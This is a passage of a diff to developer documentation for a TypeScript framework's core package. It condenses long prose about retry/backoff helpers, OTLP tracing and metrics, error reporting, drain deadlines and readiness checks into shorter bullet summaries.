- add a fourth copy, and never make it parseable: `@ultimat3/action`'s `stableStringify` is the
219
- DOCUMENT form for that (it publishes `openapi.json`), and it is a different function on purpose.
220
-
221
- `decimal-order.ts` is the third instance of the same rule, over a value rather than a shape.
222
- `compareDecimalText` is the exact ordering of two decimals however long the digits run — the order
223
- Postgres gives a `numeric` or an `int8` over the TEXT `@ultimat3/entity`'s `bigint()` and
224
- `decimal()` hand back, where `String(left) < String(right)` answers `["10","100","2","9"]` for
225
- `["2","9","10","100"]` and cuts a keyset page where the database does not. It answers **`undefined`**
226
- when either side is not a plain decimal, and that is the contract, not a convenience: a caller that
227
- knows the column's declared kind asks (`@ultimat3/entity`'s `compareByKind`), and a caller that does
228
- NOT — `@ultimat3/query`, whose `OrderKey` is a name and a direction — must never, because Postgres
229
- orders a `text` column of digits lexically and a comparator guessing would trade one disagreement
230
- with the SQL it printed for another.
231
-
232
- `format-bytes.ts` is the same rule at its smallest, `As of 2026-08-22`: one `formatBytes(bytes)`,
233
- 1024-base, `b|kb|mb|gb`, for the byte count an error message carries. `@ultimat3/render` (t4) and
234
- `@ultimat3/pwa` (t4) each had one and they had diverged — render's stopped at `kb`, so a 5 MiB route
235
- read `5120kb` in `X_BUDGET_EXCEEDED` and `5mb` in the precache warning about the same bytes, and
236
- `@ultimat3/cli`'s budget error imported render's. Deliberately NOT
237
- `@ultimat3/ui`'s `formatBytes(bytes, locale)`, which is a different function and stays: that one is
238
- `Intl`-formatted and DECIMAL (kB = 1000 B, which is what `Intl`'s unit means), for a human reading a
239
- file picker, where this one must line up with a bundler's own KiB figures and must not move with the
240
- reader's locale. **Not mechanised** — no gate refuses a third copy, unlike `render-modes.ts` for the
241
- route vocabulary; a `formatBytes` reappearing in `packages/*/src` is caught by review only.
242
-
243
- The **flight layer** is the same rule over control flow rather than over a value, `As of
244
- 2026-08-23`: `backoff.ts`, `retry.ts`, `single-flight.ts`, `flight-gate.ts`, `generation-fence.ts`
245
- and `retryable-status.ts` — plus `client-flight.ts` and `client-wire.ts`, which compose them into
246
- one typed-client call and arrived the same way the layer itself did, as two identical copies in two
247
- packages that may not import each other. Measured before it existed — FOUR backoff curves
248
- (`@ultimat3/jobs` equal-jitter, `@ultimat3/ai` full-jitter with `Math.random` inline and therefore
249
- untestable, `@ultimat3/realtime` 0-based-attempt full-jitter, `@ultimat3/db` none at all), FIVE
250
- retryability tables of which `packages/cache/src/purge-http.ts:19` and
251
- `packages/mail/src/driver-resend.ts:27` were byte-identical in two packages that cannot import
252
- each other, FOUR bounded pools and FOUR dedupers. `error-retry.ts` had declared the vocabulary and
253
- **nothing consulted it before retrying**; `retry()` is the executor it never had, and
254
- `classifyThrown` / `statedDelayMs` moved down here beside the table they read (`@ultimat3/jobs`'
255
- `retry-classification.ts` is that pair one tier up and can delegate to it unchanged). Nothing in
256
- the layer imports anything but this package, nothing runs at import time, and every source of
257
- non-determinism — the roll, the sleep, the clock, the timer — is injected, because a schedule
258
- provable only by waiting is a schedule no test pins.
259
-
260
- **`backoffDelay` REFUSES a non-finite bound, `As of 2026-08-26`, and that is a behaviour change.**
261
- It used to answer `0`, on the argument that 0 is "wrong loudly". It is not: measured,
262
- `retry({ attempts: 5, max: NaN })` slept `[0, 0, 0, 0]` and `factor: NaN` slept `[1000, 0, 0, 0]` —
263
- a retry loop with no wait at all, which is the failure backoff exists to prevent, on the tree's ONE
264
- curve (`bun run flight-copies`), reaching every retry in the framework. `attempt`, `base`, `max`
265
- and `factor` each go through `finiteOption` before the clamps, because `Math.max`, `Math.min` and
266
- `Math.trunc` propagate rather than validate and `Math.min(raw, Infinity)` is `Infinity`. The
267
- `return 0` below them stays and is still reachable, by exactly one route: `factor ** (step - 1)`
268
- overflows around attempt 1030 and `0 * Infinity` is `NaN` — a zero base is a caller asking for no
269
- wait, which is the answer it gets.
270
-
271
- **`finiteOption` / `finiteCount` (`finite-option.ts`) are the framework's ONE screen for a numeric
272
- option, `As of 2026-08-26`.** They landed here because `@ultimat3/jobs`, `@ultimat3/realtime` and
273
- `@ultimat3/query` each held a byte-identical copy; all three were deleted and now import these.
274
- `finiteCount(subject, option, value, min)` takes `min: 0 | 1` as a DEFAULT PARAMETER rather than
275
- shipping a third `finitePositive`, because only the caller knows what zero means —
276
- `requestTimeoutMs: 0` is "no deadline", a pool `max: 0` is a pool nothing can run on.
277
- `bun run finite-bounds` is the ratchet, and it recognises a repair by the SHAPE OF THE CALL: a
278
- package screen that does not carry `Finite` in its name is invisible to it, which is why
279
- `assertFiniteImageQuality`, `assertFiniteOtlpBound` and their siblings in five other packages are
280
- spelled that way.
281
-
282
- Two rules that are not preferences. `backoffDelay` clamps to `max` **before** jitter: capping after
283
- turns `full` into a distribution whose upper half is a single value at `max`, which is the
284
- correlation jitter exists to remove. `createFlightGate` **hands** its slot to a waiter rather than
285
- releasing it: decrementing first lets a caller arriving in the same tick past the ceiling while the
286
- waiter's continuation is still a queued microtask — `@ultimat3/auth`'s `createKdfGate` states the
287
- same rule, and `overflow:` is the seam that lets it keep throwing its own `X_OVERLOADED` while
288
- delegating the mechanism. `X_FLIGHT_GATE_OVERLOADED` is core's own code and not auth's borrowed
289
- one: `X_OVERLOADED` belongs to `@ultimat3/http` (tier 2), and tier 0 may not borrow upward.
290
-
291
- **`client-flight.ts` INVERTS `retryDecision`'s unclassified default, and that inversion is the
292
- point of it having a `transient:` parameter at all.** `retry.ts` sends a throw nobody classified
293
- again until the attempts run out, which is right for a job and wrong for a client: `fetch` rejects
294
- with a bare `TypeError` for a dead network and a `DOMException` named `AbortError` for the caller's
295
- own cancellation, and nothing can tell them apart from the class alone — so inheriting the default
296
- retries a caller's own abort. `@ultimat3/ai` and `@ultimat3/db` each declined the executor outright
297
- over it; this is the third refusal, and the one that keeps the executor by supplying a predicate.
298
- Never "simplify" it back to the default.
299
-
300
- **`ClientFlight` must stay `import type`-only in both packages' `client.ts`, and that erasure is
301
- the whole tree-shaking story.** `import { rpc } from '@ultimat3/action'` is 14,759 B minified for
302
- the browser and 20,292 B with `createClientFlight` beside it; `queryClient` is 12,755 B against
303
- 17,912 B. A value import from `client.ts` would put `retry.ts`, `single-flight.ts`,
304
- `generation-fence.ts`, `flight-gate.ts` and `backoff.ts` into every caller's chunk. Measure through
305
- the PUBLIC specifier — `Bun.build`, `target: 'browser'`, `minify: true` — and expect ±376 B run to
306
- run: `Bun.build` 1.4.0 drops this package's `schema-error-codes.ts` from some builds even though
307
- `sideEffects` names it (issue #273), which is exactly the size of the schema error titles.
308
-
309
- `mcp-exposure.ts` is the same shape for a declaration rather than an algorithm: `isMcpExposed` is
310
- the ONE answer to "did this primitive opt into being an MCP tool?", asked by `action`, `query`
311
- (t3), `mcp`, `ai`, `manifest` (t4) — five packages that cannot import each other, so core is the
312
- only tier all of them reach. Three spellings of the same question shipped before it (`=== true`,
313
- `!== false`, `?? true`), which published tools in `openapi.json` and `x.manifest.json` that no
314
- surface would serve. Never add a second reader: `@ultimat3/cli`'s `mcp-exposure-pin.test.ts` is
315
- what makes "one predicate" checkable, since no single package below tier 5 can. The one deliberate
316
- exception is `@ultimat3/admin`'s own catalog, which is opt-OUT and says why in `mcp-tools.ts`.
317
-
318
- Metrics mirror tracing exactly — `metrics.ts` is to `telemetry.ts` what a counter is to a span:
319
- always on, no-op exporter by default, driver on the wire. `runtime-metrics.ts` is the only place
320
- that names a series the deploy chart reads (`http_requests_total`, `connections`, `queue_depth`);
321
- `SCALING_METRICS` keys them by `ScalingSignal` so `roles.ts` and `docker/helm` cannot drift.
322
- Core declares the instruments and never calls them for another package's events. `As of 2026-08`
323
- the recorders are wired, and there is exactly one call site per package — a second one anywhere is
324
- the bug:
325
-
326
- | Recorder | The one caller | Why that seam |
327
- |---|---|---|
328
- | `recordRequest` | `@ultimat3/http` `pipeline.ts`, the `finally` around `execute` | every request passes it once, error paths included |
329
- | `recordConnection` | `@ultimat3/realtime` `socket.ts`, `SocketRegistry.add`/`remove` | the only definition of a live connection; close, idle sweep and drain all pass through it, so the gauge cannot leak |
330
- | `recordQueueDepth` | `@ultimat3/jobs` `worker.ts`, throttled inside `tick()` | the worker is the only process that reads its own queue |
331
- | `recordJob` | `@ultimat3/jobs` `worker.ts`, the outcome branch inside `tick()` | the loop is where the queue name is in scope; `JOB_OUTCOME_LABELS` maps the four outcomes onto three labels and drops `suspended`, because parking a run is control flow |
332
- | `recordLeaseLost` | `@ultimat3/jobs` `heartbeat.ts`, once per lease that lapsed | the lease heartbeat is the only thing that knows a renewal stopped landing; deliberately not an `outcome` on `jobs_total`, because nothing failed and nothing finished — the queue simply re-delivered a job this process was still running |
333
-
334
- Tracing has three parts and they are three files on purpose: `telemetry.ts` builds spans,
335
- `sampler.ts` decides whether a trace is worth exporting, and `otlp*.ts` puts it on the wire.
336
- `span.end()` returns early when `traceFlags & 1` is 0 — the bit is obeyed, not merely forwarded,
337
- which is what stops an exporter from turning 40k rps into 40k rps of spans. `configureTelemetry`
338
- takes a `Sampler`; the default reads `OTEL_TRACES_SAMPLER*` **at the first span, never at module
339
- scope** (same call-time rule as `cursor.ts`'s secret). `resetTelemetry()` drops both.
340
-
341
- **An empty `spanId` means "no inbound decision", and every reader must honour it, `As of
342
- 2026-08-22`.** `currentSpanContext()` synthesises `{ traceId, spanId: '', traceFlags: 1 }` from the
343
- request context — a trace id this process minted, plus the header it would send onward. Handing
344
- that to `Sampler.shouldSample` as a parent made `parentBasedRatioSampler` inherit a bit nobody sent,
345
- so at ratio 0 a root span outside a request exported 0 and one inside exported 1 — and
346
- `@ultimat3/http`'s `pipeline.ts` is `runWithContext` then `withSpan`, so **every HTTP root span was
347
- exported at every ratio**. `startSpan` now narrows through `inboundParent()`: the trace id is
348
- carried, the decision is not. It is the same discriminator `end()` already used to drop a synthetic
349
- `parentSpanId`.
350
-
351
- The OTLP exporters are built, not wrapped, and the case is in
352
- [`docs/idea/18-build-vs-wrap.md`](../../docs/idea/18-build-vs-wrap.md): OTLP/HTTP JSON is `fetch`
353
- plus `JSON.stringify`, while `@opentelemetry/api` would put a SECOND `Span` type in the framework
354
- (axiom 1) and `sdk-node` would fight `context.ts` for the AsyncLocalStorage. `otlpTraceRequest` /
355
- `otlpMetricsRequest` are pure so the wire format is a unit test, exactly as `sentryEnvelope` is.
356
- **gRPC (`:4317`) is out of scope** — it needs HTTP/2 and protobuf, and both the `:4317` port and a
357
- non-`http/json` `OTEL_EXPORTER_OTLP_PROTOCOL` throw `X_OTLP_PROTOCOL_UNSUPPORTED` naming `:4318`.
358
- A boot that must not throw asks `tryOtlpEndpoint(signal)` first.
359
-
360
- **Three OTLP variables, three codes, `As of 2026-08-22`** — `X_OTLP_ENDPOINT_INVALID`,
361
- `X_OTLP_HEADERS_INVALID`, `X_OTLP_PROTOCOL_UNSUPPORTED`, one per variable an operator sets. The
362
- headers one is not a duplicate of the endpoint one: `otlpHeaders` percent-decodes, so `%zz` in
363
- `OTEL_EXPORTER_OTLP_HEADERS` used to take the process down with a bare `URIError` at exporter
364
- construction, and raising the ENDPOINT code instead would send the first reader of
365
- `x errors explain` to inspect a variable that is fine. A title is what an agent reads first, and an
366
- accurate `cause:` does not rescue one that misdirects. The header **key** is in the cause, the fix
367
- and `meta`; the **value** is in none of them — it is the collector's credential.
368
-
369
- `error-reporter.ts` is the same shape a third time: `ErrorReporter`, a no-op default, a memory
370
- reporter for tests, and a transport on the wire (`error-reporter-sentry.ts`, an optional separate
371
- export — the DSN is the app's typed env, never a constant here). `reportError` never throws and
372
- never awaits. **Four packages call it, seven call sites, `As of 2026-08`** — and unlike the
373
- recorders it is not one per package, because `realtime` has two files that can see a throw:
374
-
375
- | Package | Call site |
84
+ - **`installSecrets()` is the ONLY path from `secrets.enc.json` to an app value**, landing in
85
+ `process.env` before `defineEnv` reads it. The real environment always wins.
86
+ - **`intl-cache.ts`'s bound and canonical key are two halves of one rule** and live in one file:
87
+ validating and keying are one `getCanonicalLocales` call. Never build an `Intl` formatter on a
88
+ caller string without both.
89
+ - **`secrets-errors.ts`'s command lines are screened**: paths through `renderFixShellArg`; a
90
+ variable name must match `/^[A-Z_][A-Z0-9_]*$/` or the line degrades to prose;
91
+ `X_SECRETS_KEY_MISMATCH`'s command carries no key id (it is read from a file). Its seven codes
92
+ register through `registerErrorCodes()`, so `resetErrorCodes()` drops them — take
93
+ `errorCodeSnapshot()` first. The envelope's `kid` lets *wrong key* and *edited file* be two codes.
94
+ - **`schema-error-codes.ts` registers `@ultimat3/schema`'s codes** (schema cannot call core), and
95
+ derives their retry classification from the same set. It is a `SIDE_EFFECTS_ANCHORS` entry.
96
+ - `timing-safe-equal.ts` is the one constant-time comparison (`@ultimat3/auth`, `@ultimat3/storage`).
97
+ - **`canonical-json.ts`: `canonicalJson` is INJECTIVE and `fingerprint` is SHA-256/16 of it** — the
98
+ hash every sharing key is taken over (`action`'s `requestHash`, `query`'s `queryHash`, `realtime`'s
99
+ `qid`). `NaN`, `±Infinity` and `-0` are bare tokens; `Date`, `Map` and `Set` are TAGGED. Never a
100
+ fourth copy, never parseable (`@ultimat3/action`'s `stableStringify` is the document form).
101
+ - **`decimal-order.ts`'s `compareDecimalText` answers `undefined` for a non-decimal**, and only a
102
+ caller that knows the column's kind may ask (`@ultimat3/entity`'s `compareByKind`) — never
103
+ `@ultimat3/query`, whose `OrderKey` has no kind.
104
+ - **`format-bytes.ts`: one `formatBytes(bytes)`, 1024-base, `b|kb|mb|gb`** for byte counts in error
105
+ messages. Not `@ultimat3/ui`'s locale-formatted decimal one. Not mechanised — review catches a
106
+ third copy.
107
+ - **The flight layer** (`backoff.ts`, `retry.ts`, `single-flight.ts`, `flight-gate.ts`,
108
+ `generation-fence.ts`, `retryable-status.ts`, `client-flight.ts`, `client-wire.ts`) imports
109
+ nothing but this package, runs nothing at import, and injects every source of non-determinism
110
+ (roll, sleep, clock, timer). `classifyThrown` / `statedDelayMs` live beside `error-retry.ts`'s table.
111
+ - **`backoffDelay` REFUSES a non-finite bound**: `attempt`, `base`, `max` and `factor` go through
112
+ `finiteOption` before the clamps. The trailing `return 0` is reachable only by `factor` overflow.
113
+ It clamps to `max` **before** jitter.
114
+ - **`finiteOption` / `finiteCount` (`finite-option.ts`) are the framework's ONE screen for a numeric
115
+ option.** `finiteCount(subject, option, value, min)` takes `min: 0 | 1` because only the caller
116
+ knows what zero means. `bun run finite-bounds` recognises a repair by the call's shape, so a
117
+ package screen carries `Finite` in its name.
118
+ - **`createFlightGate` HANDS its slot to a waiter** rather than releasing it. `X_FLIGHT_GATE_OVERLOADED`
119
+ is core's own code (tier 0 cannot borrow http's `X_OVERLOADED`); `overflow:` lets a caller throw its own.
120
+ - **`client-flight.ts` INVERTS `retryDecision`'s unclassified default** through its `transient:`
121
+ predicate: a bare `TypeError` (dead network) and an `AbortError` (the caller's cancellation) are
122
+ indistinguishable by class. Never "simplify" it back.
123
+ - **`ClientFlight` stays `import type`-only in `action`'s and `query`'s `client.ts`** — a value import
124
+ pulls the whole flight layer into every caller's chunk.
125
+ - **`mcp-exposure.ts`'s `isMcpExposed` is the ONE answer to "did this opt into MCP?"**, read by
126
+ `action`, `query`, `mcp`, `ai`, `manifest`. `@ultimat3/cli`'s `mcp-exposure-pin.test.ts` checks
127
+ it; `@ultimat3/admin`'s own catalog is the one opt-OUT exception (`mcp-tools.ts`).
128
+
129
+ ## Metrics, tracing, reporting
130
+
131
+ `metrics.ts` is to `telemetry.ts` what a counter is to a span: always on, no-op exporter by
132
+ default. `runtime-metrics.ts` is the only place that names a series the chart reads
133
+ (`http_requests_total`, `connections`, `queue_depth`), keyed by `ScalingSignal` in
134
+ `SCALING_METRICS`. One call site per package; a second is the bug:
135
+
136
+ | Recorder | The one caller |
376
137
  |---|---|
377
- | `@ultimat3/http` | `stages.ts` — `status >= 500` only |
378
- | `@ultimat3/jobs` | `execute.ts`, inside `executeJob`: the one frame still holding the thrown value, where the loop above it sees a message string |
379
- | `@ultimat3/realtime` | `sync-node.ts` (three) and `sync-upgrade.ts` (one) |
380
- | `@ultimat3/flags` | `runtime.ts` — `source: 'process'`, severity `warning` |
381
-
382
- `configureErrorReporting({ release })` is fed the build id `serve.ts` already computed — never a
383
- second deploy identity. Trace and span resolve as a **pair**, from one source and never field by
384
- field: a caller-supplied `traceId` picking up the ambient `spanId` produced reports naming a span
385
- in a different trace, which is worse than no span because it looks authoritative.
386
-
387
- `METRICS_PATH` is served by `@ultimat3/cli`'s `metrics-endpoint.ts`, on `METRICS_PORT` (9090) and
388
- **not** on the role's HTTP port: the chart's ingress routes `/` to `web`, so `/metrics` beside
389
- `/healthz` would be the app's route patterns and error rates on the internet. Every role opens it,
390
- including the three that open no other socket — `queue_depth` belongs to one of them.
138
+ | `recordRequest` | `@ultimat3/http` `pipeline.ts`, the `finally` around `execute` |
139
+ | `recordConnection` | `@ultimat3/realtime` `socket.ts`, `SocketRegistry.add`/`remove` |
140
+ | `recordQueueDepth` | `@ultimat3/jobs` `worker.ts`, throttled inside `tick()` |
141
+ | `recordJob` | `@ultimat3/jobs` `worker.ts`, the outcome branch inside `tick()` (`JOB_OUTCOME_LABELS` drops `suspended`) |
142
+ | `recordLeaseLost` | `@ultimat3/jobs` `heartbeat.ts`, once per lapsed lease |
143
+
144
+ - Tracing is three files: `telemetry.ts` builds spans, `sampler.ts` decides, `otlp*.ts` exports.
145
+ `span.end()` returns early when `traceFlags & 1` is 0. The default sampler reads
146
+ `OTEL_TRACES_SAMPLER*` at the first span, never at module scope. `resetTelemetry()` drops both.
147
+ - **An empty `spanId` means "no inbound decision"** — `startSpan` narrows through
148
+ `inboundParent()`, carrying the trace id and never the synthesised sampling bit.
149
+ - The OTLP exporters are built, not wrapped ([`docs/idea/18-build-vs-wrap.md`](../../docs/idea/18-build-vs-wrap.md)).
150
+ `otlpTraceRequest` / `otlpMetricsRequest` are pure. **gRPC (`:4317`) is out of scope**:
151
+ `X_OTLP_PROTOCOL_UNSUPPORTED` names `:4318`; a boot that must not throw asks `tryOtlpEndpoint(signal)`.
152
+ - **Three OTLP variables, three codes** — `X_OTLP_ENDPOINT_INVALID`, `X_OTLP_HEADERS_INVALID`,
153
+ `X_OTLP_PROTOCOL_UNSUPPORTED`. A header KEY is in the cause/fix/meta; its VALUE never is.
154
+ - `error-reporter.ts`: `ErrorReporter`, no-op default, memory reporter for tests, Sentry transport
155
+ (`error-reporter-sentry.ts`, optional export). `reportError` never throws, never awaits. Callers:
156
+ `@ultimat3/http` `stages.ts` (`status >= 500`), `@ultimat3/jobs` `execute.ts`, `@ultimat3/realtime`
157
+ `sync-node.ts` and `sync-upgrade.ts`, `@ultimat3/flags` `runtime.ts`. `configureErrorReporting({
158
+ release })` takes the build id `serve.ts` computed. Trace and span resolve as a PAIR.
159
+ - `METRICS_PATH` is served by `@ultimat3/cli`'s `metrics-endpoint.ts` on `METRICS_PORT` (9090), never
160
+ the role's HTTP port; every role opens it.
161
+
162
+ ## Lifecycle and readiness
163
+
164
+ - `markReady()` means **bound**; readiness means **usable** — `registerReadinessCheck(name, check)`.
165
+ `/readyz` is ready when the state is `ready` AND every check passes. `HealthReport.registered` is
166
+ the count (an empty registry is still `ready`, deliberately). `readinessChecks()` builds through
167
+ `Object.fromEntries` (a check named `__proto__`). Checks are **synchronous**; liveness ignores
168
+ them. The registration returns its unregister; `readinessCheckCount()` is the leak probe.
169
+ - **`drain()`'s memo is published BEFORE the first hook runs** — a hook may re-enter `drain()`
170
+ (`@ultimat3/http`'s `handle.stop()`), and `settleWithin` invokes hooks synchronously.
171
+ - **The drain deadline is enforced**: `runPhase` races each hook against the time left before
172
+ `deadlineAt` (`lifecycle-deadline.ts`'s `settleWithin`) and ABANDONS an overrun, logging it
173
+ (`X_SHUTDOWN_TIMEOUT`, whose `fix:` names `configureLifecycle({ deadlineMs })`). The budget is the
174
+ WHOLE drain's; `DEFAULT_DEADLINE_MS` (25 s) always applies; it is real monotonic time
175
+ (`systemClock`), never the injected `clock`. `drainDeadlineMs()` is the one decision point.
176
+ `settleWithin` attaches a rejection handler unconditionally.
177
+ - **A readiness grace runs before the `accept` phase** (`lifecycle-grace.ts`): `/readyz` answers 503
178
+ with the socket still open for `drain.readinessGraceMs`, ADDED to `deadlineMs` (a chart's
179
+ `terminationGracePeriodSeconds` must exceed the sum — 5 s + 25 s by default). Unset: 0 in
180
+ development/test, 5000 everywhere else including a process naming no environment (fail closed).
181
+ - `impersonate(actor, reason, fn)` is the ONE door through `withChildContext({ actor })`; it stamps
182
+ `Actor.onBehalfOf` so `actorLabel` renders `service:eng-7→user:cust-99@org-3`. No second path.
183
+ - Every `UltimateError` carries `retry` (`terminal | retryable | retry-after`), **defaulting to
184
+ `terminal`**. `registerErrorRetry()` is the one registration path and refuses to reclassify a
185
+ core code. Two readers: `retryFor(code)` (what to do, fails closed) and
186
+ `declaredErrorRetry(code)` (what was declared, `undefined` otherwise) — a caller deciding whether
187
+ to STOP work in flight (`@ultimat3/jobs`' executor) reads the second. An instance `retry` on an
188
+ unregistered code reads as unclassified.
189
+ - `PRIMITIVE_KINDS` is the executable eight-primitive rule; `PrimitiveKind` derives from it and
190
+ `registrar.test.ts` fails on a ninth. `PRIMITIVE_FACTORIES` lists the factories.
391
191
 
392
192
  ```bash
393
193
  bun test packages/core/src # from the REPO ROOT, never from packages/core
394
194
  bun run typecheck
395
195
  ```
396
196
 
397
- **The root is not a preference.** `bunfig.toml`'s `preload = ["./scripts/test-setup.ts"]` is what
398
- installs `@ultimat3/testing`'s matchers, and Bun reads `bunfig.toml` from the cwd — so `bun test`
399
- run inside `packages/core` loads no preload and 17 tests in `secrets.test.ts` die on
400
- `expect(...).rejects.toBeUltimateError is not a function`, which reads as this package's failure
401
- and is the shell's. `.github/workflows/ci.yml`'s `package` job spawns `bun test packages/<pkg>`
402
- with `cwd` at the root for the same reason (`scripts/coverage-gate.ts`).
403
-
404
- `markReady()` means **bound**, and readiness means **usable** — two different facts since
405
- `registerReadinessCheck(name, check)`. `/readyz` is ready only when the state is `ready` AND every
406
- named check passes, and `HealthReport.checks` carries them by name because "alert on check
407
- failures by check name" is not writable against a boolean. `HealthReport.registered` carries the
408
- COUNT beside it, `As of 2026-08-22`: `checks: {}` reads identically for "every check passed" and
409
- "nobody registered one", and only the second is a `/readyz` meaning no more than "the socket is
410
- bound". Reported, never enforced — **an empty registry is still `ready`, and `/readyz` still
411
- answers 200**: `Object.values({}).every(…)` is vacuously true, and that is deliberate so a role
412
- with no dependency does not have to invent a check to boot. `registered` is the field a caller
413
- reads to tell "all checks passed" from "there were none".
414
-
415
- `readinessChecks()` builds its record through `Object.fromEntries`, never by assigning
416
- `results[name]` — assignment to the one name `__proto__` sets the PROTOTYPE rather than adding a
417
- key, so a check by that name disappeared from the report and a `failing` one answered 200. Checks are **synchronous** on purpose:
418
- a probe that awaits a network call turns a slow dependency into a wedged endpoint and a restart
419
- loop, so the owner of the dependency keeps a boolean fresh and this reads it. Liveness ignores
420
- them — a database outage that failed `/healthz` would restart the whole fleet into the same
421
- outage. The registration returns its unregister, same shape and same ownership rule as
422
- `onShutdown`; `readinessCheckCount()` is the leak probe.
423
-
424
- **`drain()`'s memo is published BEFORE the first hook runs, `As of 2026-08-22`, and that ordering
425
- is the whole of the function.** A hook may call back into `drain()` and one does — `handle.stop()`
426
- in `@ultimat3/http` is `drain('manual')`, and an `accept` hook is exactly where a server stops
427
- listening — while `settleWithin` invokes a hook SYNCHRONOUSLY. `drainPromise = (async () => …)()`
428
- had therefore not assigned when the first hook ran: the re-entrant call read `undefined`, started a
429
- second whole drain and recursed **~4,700 deep** until the stack ran out, every level swallowed by
430
- `settleWithin` as `shutdown hook failed`. The guard and the registration are now one synchronous
431
- step (`jobs`' `worker.ts` states the same rule), with the phases in `runDrain`.
432
-
433
- **The drain deadline is enforced, not merely computed, and there is no unbounded state.**
434
- `ShutdownReason.deadlineAt` was always handed to every hook and **no hook has ever read it** —
435
- `jobs`' worker awaits every in-flight job and `driver.close()`, `jobs`' scheduler awaits its round,
436
- `realtime`'s `listenSyncNode` awaits `node.drain()`'s own grace, `http`'s `server.ts` awaits
437
- `server.stop()` — so before 2026-08 `configureLifecycle({ deadlineMs: 100 })` bounded nothing:
438
- measured, one 5-second `accept` hook drained in **5053ms**, state pinned at `draining`. `runPhase`
439
- now races each hook against the time left before `deadlineAt` (`lifecycle-deadline.ts`'s
440
- `settleWithin`, split out so the race cannot reach this file's state) and an overrun is
441
- **ABANDONED** — the drain resolves, the later phases still run, and `installSignalHandlers` reaches
442
- `process.exit(0)`. Merely logging would leave the kubelet to SIGKILL at the grace period, which is
443
- the every-deploy job duplicate draining exists to prevent; the abandoned hook keeps running with
444
- nobody reading it, and that cost is named in the log line rather than hidden. `settleWithin`
445
- attaches a rejection handler unconditionally: an abandoned hook that rejects later has nobody left
446
- awaiting it, and the unhandled rejection would kill the process the drain is ending cleanly.
447
-
448
- Three rules follow and none is optional. **The budget is the WHOLE drain's**, read per hook off
449
- `deadlineAt`, so a hook that spends it leaves none for the ones behind — the sum of the phases is
450
- bounded, not each phase separately, which is what `terminationGracePeriodSeconds` means. A budget
451
- already spent still lets a *synchronous* hook finish (a resolved promise settles on a microtask,
452
- the 0ms timer on a macrotask), so closing a pool costs nothing it does not already have.
453
- **`DEFAULT_DEADLINE_MS` (25s) applies whether or not an app sets one** — an opt-in deadline would
454
- have left `worker`, `scheduler` and `sync` unbounded, i.e. a mechanism claiming more than it
455
- enforces; abandoned at 25s a worker exits clean, its row's visibility lease lapses and another
456
- worker re-claims it, which is what at-least-once already promises, and the alternative is the same
457
- duplicate delivered by SIGKILL with no line naming what overran. The lever is a **larger** value —
458
- `configureLifecycle({ deadlineMs: 600_000 })` for a 10-minute job — and the `X_SHUTDOWN_TIMEOUT`
459
- `fix:` says so, because whoever reads it at 3am learns the knob from the line. **The budget is real
460
- monotonic time (`systemClock`), never the injected `clock`**: `waitForIdle` sleeps on a real
461
- `setTimeout`, so a frozen clock advanced an hour handed the drain a 16-minute grace period the
462
- kubelet would never honour. `clock` still owns `uptimeMs`. `drainDeadlineMs()` is the one place the
463
- budget is decided and the only thing a test can pin — 25s is above any drain a test can wait out.
464
-
465
- `impersonate(actor, reason, fn)` is the ONE door through `withChildContext({ actor })`. It stamps
466
- the caller onto the child as `Actor.onBehalfOf`, so `actorLabel` renders
467
- `service:eng-7→user:cust-99@org-3` and a refund issued during a support session can never read as
468
- the customer's. The non-blank-reason assert is `@ultimat3/entity`'s `crossTenant()` template
469
- verbatim — two escapes from the framework's default posture should not look like two things. Do
470
- not add a second impersonation path.
471
-
472
- **`ERROR_DOCS_URL` replaced `ERROR_DOCS_BASE` + `errorDocsUrl(code)` `As of 2026-08-23`, and it is
473
- a breaking change** — it lands in the next major, not in the released line. `https://ultimate.dev/errors/<code>` answered **404**, host included, on every error the
474
- framework has ever thrown — including the first line a new agent reads (`x --json` →
475
- `"docs":"https://ultimate.dev/errors/X_CLI_UNKNOWN_COMMAND"`). A dead link in every error is a
476
- defect under axiom 4, and it is not "not built yet": `wiki/` is the only public documentation
477
- surface there is. There is no per-code URL because there is no per-code ANCHOR — codes live in
478
- `wiki/Error-Codes.md` as TABLE ROWS, and a `#X_DB_DRIFT` fragment would be a second dead
479
- declaration rather than a fix for the first. So the function is gone rather than kept with an
480
- ignored parameter, and `descriptor()` lost its `code` parameter with it. A package constructing an
481
- `UltimateError` now OMITS `docs:` entirely and lets the constructor resolve the registered
482
- descriptor — one URL, one place, instead of the fifteen packages that each spelled the base out.
483
-
484
- Every `UltimateError` carries `retry` (`terminal | retryable | retry-after`), **defaulting to
485
- `terminal`** — fail closed, because a client retrying on `status >= 500` hammers `X_DB_DRIFT` and
486
- `X_TENANCY_UNSCOPED`, which are permanent config faults. `registerErrorRetry()` is the one
487
- registration path and it refuses to reclassify a core code, the same way `registerErrorStatus`
488
- refuses to remap one. A new code in any package should be classified beside its declaration.
489
-
490
- Two readers of that table, and picking the wrong one is a live defect. `retryFor(code)` answers
491
- *what to do* and fails closed; `declaredErrorRetry(code)` answers *what somebody declared* and is
492
- `undefined` when nobody did. `retry` on the instance is `init.retry ?? retryFor(code)`, so every
493
- unclassified error already reads `terminal` — a caller deciding whether to STOP work in flight
494
- (`@ultimat3/jobs`' executor) must read `declaredErrorRetry`, or it dead-letters attempt 1 of every
495
- job in every app whose codes nobody classified. An instance `retry: 'terminal'` on an **unregistered**
496
- code is indistinguishable from the default and is therefore read as unclassified; registering the
497
- code is the one way to have it honoured.
197
+ The root is not a preference: `bunfig.toml`'s preload installs `@ultimat3/testing`'s matchers, and
198
+ Bun reads `bunfig.toml` from the cwd (`scripts/coverage-gate.ts` runs from the root for the same reason).
498
199
 
499
200
  Gotchas:
500
201
  - `exactOptionalPropertyTypes` is on — declare optional fields as `x?: T | undefined`.
501
202
  - `noPropertyAccessFromIndexSignature` is on — `ctx.services['mail']`, not `.mail`.
502
- - `Ctx` carries a string index signature so apps can augment `CtxServices` for `ctx.posts`. The
503
- cost is a real axiom-3 hole: `ctx.anything` type-checks as `unknown`, so a service nobody
504
- declared and nobody installed reads as a value rather than a build error (`examples/dummy`
505
- shipped `ctx.storage.ensureBucket()` against a method no package has). Deleting the signature
506
- is the fix and a breaking change; until then `ctx.services['mail']` is the honest late-bound
507
- path and a declared augmentation is the only typed one. **Measured 2026-08:** deleting the
508
- signature compiles core clean on its own, and the augmentation seam survives untouched — an
509
- augmentation adds NAMED members and `Ctx extends CtxServices` picks them up with no index
510
- signature at all. What is unmeasured is the rest of the tree: the change is only a build error
511
- where an app reads an undeclared service, which is the point, but `examples/dummy` ships one
512
- such read and it would land on the app gate's ratchet. Land it as its own change, alone, with a
513
